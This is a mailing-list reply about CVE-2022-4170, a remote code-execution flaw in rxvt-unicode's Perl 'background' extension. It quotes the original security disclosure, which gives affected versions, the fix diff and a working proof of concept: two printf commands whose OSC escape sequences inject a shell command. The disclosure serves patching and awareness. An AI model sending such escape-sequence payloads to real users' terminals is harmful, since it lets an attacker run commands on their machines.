Re: CVE-2022-4170: rxvt-unicode code execution via background OSC

[John Helmert III <ajak () gentoo org>]

On Mon, Dec 05, 2022 at 10:22:33PM +1100, David Leadbeater wrote:
> I've discovered rxvt-unicode 9.25 and 9.26 are vulnerable to remote
> code execution, in the Perl background extension, when an attacker can
> control the data written to the user's terminal and certain options
> are set.
>
> The "background" extension is automatically loaded if certain X
> resources are set such as 'transparent' (see the full list at the top
> of src/perl/background[1]). So it is possible to be using this
> extension without realising it.
>
> This is accidentally fixed on version 9.30, and I haven't confirmed
> 9.29, it appears to not be exploitable, but only due to another (not
> security) bug. The actual bug which makes this not vulnerable on 9.30
> is simply a wrong number in "on_osc_seq".
>
> For 9.25 and 9.26 the patch at[2] can be backported. The body of the fix is:
>
>  sub q0 {
> -   (my $str = shift) =~ s/\x00//g; # make sure there really aren't
> any embedded NULs
> -   "q\x00$str\x00"
> +   "qq\x00\Q$_[0]\E\x00"
>  }
>
> Isn't Perl quoting fun? Paranoid people may wish to remove the entire
> "on_osc_seq" subroutine to avoid passing any potentially untrusted
> input anywhere near eval (this feature is deprecated and the
> maintainer did mention they are considering what to do longer term).
>
> It doesn't make sense to withhold an exploit for this; the fix gives a
> pretty good idea where to look and this isn't vulnerable in the latest
> version.
>
> $ urxvt -transparent
>
> Inside that running terminal:
>
> # Make tint be "\\", which means the ending \x00 is quoted under our control
> $ printf '\e]705;\\\a'
> # Make the second q0 end the quoted q-string and then be valid perl
> under our control
> $ printf '\e]20;,rootalign root),`touch /tmp/cve-2022-4170` #\a'
>
> This has been assigned CVE-2022-4170.

Can this CVE be made public (ie, not "reserved" according to [1])?

[1] https://github.com/CVEProject/cvelist/blob/master/2022/4xxx/CVE-2022-4170.json

> David
>
> [1]: http://cvs.schmorp.de/rxvt-unicode/src/perl/background?revision=1.109&view=markup
> [2]: http://cvs.schmorp.de/rxvt-unicode/src/perl/background?r1=1.105&r2=1.109

Attachment: signature.asc
Description: